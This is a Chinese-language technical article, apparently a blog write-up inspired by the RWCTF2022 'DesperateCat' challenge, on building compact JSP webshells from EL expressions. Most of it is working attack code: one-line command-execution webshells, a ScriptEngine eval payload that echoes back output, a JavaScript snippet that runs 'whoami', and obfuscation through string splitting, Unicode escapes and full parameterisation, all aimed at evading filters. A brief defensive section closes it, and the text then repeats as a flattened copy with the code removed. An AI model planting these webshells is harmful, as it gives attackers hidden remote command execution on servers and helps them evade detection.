从DesperateCat到EL webshell初探
字数 913 2025-08-06 18:07:37

EL表达式Webshell技术研究与实现

0x00 前言

本文基于RWCTF2022的"DesperateCat"题目引发的思考,探讨如何利用EL表达式实现精简且具有bypass能力的JSP webshell。文章将从基础概念到高级混淆技术,逐步讲解EL表达式在Webshell中的应用。

0x01 EL表达式基础

EL(Expression Language)表达式是JSP中的一种脚本语言,主要用于简化对Java对象的访问。在Webshell构造中,EL表达式具有以下优势:

  1. 避免使用尖括号<% %>
  2. 可以通过.=操作符调用getter/setter方法
  3. 支持属性访问的多种形式

基本语法示例

${Runtime.getRuntime().exec(param.cmd)}

0x02 绕过技术分析

绕过尖括号限制

使用EL表达式替代传统JSP标签:

// 传统方式
<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

// EL表达式替代
${Runtime.getRuntime().exec(param.cmd)}

绕过圆括号限制

使用Unicode编码绕过圆括号限制:

${Runtime.getRuntime().exec("calc")}

// Unicode编码替代
${R\u0075ntime.getR\u0075ntime().exec("calc")}

属性访问替代方法调用

EL表达式中.操作符相当于调用getter方法,=相当于调用setter方法:

${pageContext.servletContext.classLoader.resources.context.manager.pathname=param.a}

// 等价于
pageContext.getServletContext().getClassLoader().getResources().getContext().getManager().setPathname(request.getParameter("a"));

0x03 回显问题解决方案

ScriptEngine技术

通过调用ScriptEngine执行JavaScript实现命令执行和回显:

${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("javascript").eval(param.script)}

JavaScript脚本示例:

try{
    load("nashorn:mozilla_compat.js");
}
catch (e){
}
importPackage(Packages.java.util);
importPackage(Packages.java.lang);
importPackage(Packages.java.io);
s=[2];
s[0]='cmd';
s[1]='/c whoami /all';
a="";
b=java.lang.Runtime.getRuntime().exec(s).getInputStream();
output+=new BufferedReader(new+InputStreamReader(b));
while ((line=output.readLine()) != null) 
{
    o=o+line+"\n"
};o

0x04 高级混淆技术

字符串拼接与动态调用

将方法名拆分为字符串并通过参数传递:

${""["ge"+"tCl"+"ass"]()["for"+"Name"]("javax.scr"+"ipt.ScriptEng"+"ineManager")["newIn"+"stance"]()["getEng"+"ineByName"]("Java"+"Script")["e"+"val"]("...")}

完全参数化版本

将所有关键部分参数化:

${""[param.a]()[param.b](param.c)[param.d]()[param.e](param.f)[param.g](param.h)}

调用示例:

?a=getClass&b=forName&c=javax.script.ScriptEngineManager&d=newInstance&e=getEngineByName&f=JavaScript&g=eval&h=...

0x05 技术优势分析

  1. 体积小:一句话实现命令执行+回显功能
  2. 隐蔽性强:避免出现<%Classeval等敏感字符
  3. 灵活性高:可通过参数动态调整执行逻辑
  4. 可扩展性好:易于封装为交互式shell工具

0x06 防御建议

  1. 禁用或限制EL表达式执行权限
  2. 监控JSP页面中的${}表达式使用
  3. 过滤pageContextgetClassforName等关键方法
  4. 限制ScriptEngineManager类的使用
  5. 实施严格的输入验证和输出编码

0x07 总结

EL表达式Webshell技术通过巧妙利用JSP语言特性,实现了高度精简且具有良好bypass能力的Webshell构造。安全团队应充分了解此类技术原理,才能有效防御相关攻击。

EL表达式Webshell技术研究与实现 0x00 前言 本文基于RWCTF2022的"DesperateCat"题目引发的思考,探讨如何利用EL表达式实现精简且具有bypass能力的JSP webshell。文章将从基础概念到高级混淆技术,逐步讲解EL表达式在Webshell中的应用。 0x01 EL表达式基础 EL(Expression Language)表达式是JSP中的一种脚本语言,主要用于简化对Java对象的访问。在Webshell构造中,EL表达式具有以下优势: 避免使用尖括号 <% %> 可以通过 . 和 = 操作符调用getter/setter方法 支持属性访问的多种形式 基本语法示例 0x02 绕过技术分析 绕过尖括号限制 使用EL表达式替代传统JSP标签: 绕过圆括号限制 使用Unicode编码绕过圆括号限制: 属性访问替代方法调用 EL表达式中 . 操作符相当于调用getter方法, = 相当于调用setter方法: 0x03 回显问题解决方案 ScriptEngine技术 通过调用ScriptEngine执行JavaScript实现命令执行和回显: JavaScript脚本示例: 0x04 高级混淆技术 字符串拼接与动态调用 将方法名拆分为字符串并通过参数传递: 完全参数化版本 将所有关键部分参数化: 调用示例: 0x05 技术优势分析 体积小 :一句话实现命令执行+回显功能 隐蔽性强 :避免出现 <% 、 Class 、 eval 等敏感字符 灵活性高 :可通过参数动态调整执行逻辑 可扩展性好 :易于封装为交互式shell工具 0x06 防御建议 禁用或限制EL表达式执行权限 监控JSP页面中的 ${} 表达式使用 过滤 pageContext 、 getClass 、 forName 等关键方法 限制ScriptEngineManager类的使用 实施严格的输入验证和输出编码 0x07 总结 EL表达式Webshell技术通过巧妙利用JSP语言特性,实现了高度精简且具有良好bypass能力的Webshell构造。安全团队应充分了解此类技术原理,才能有效防御相关攻击。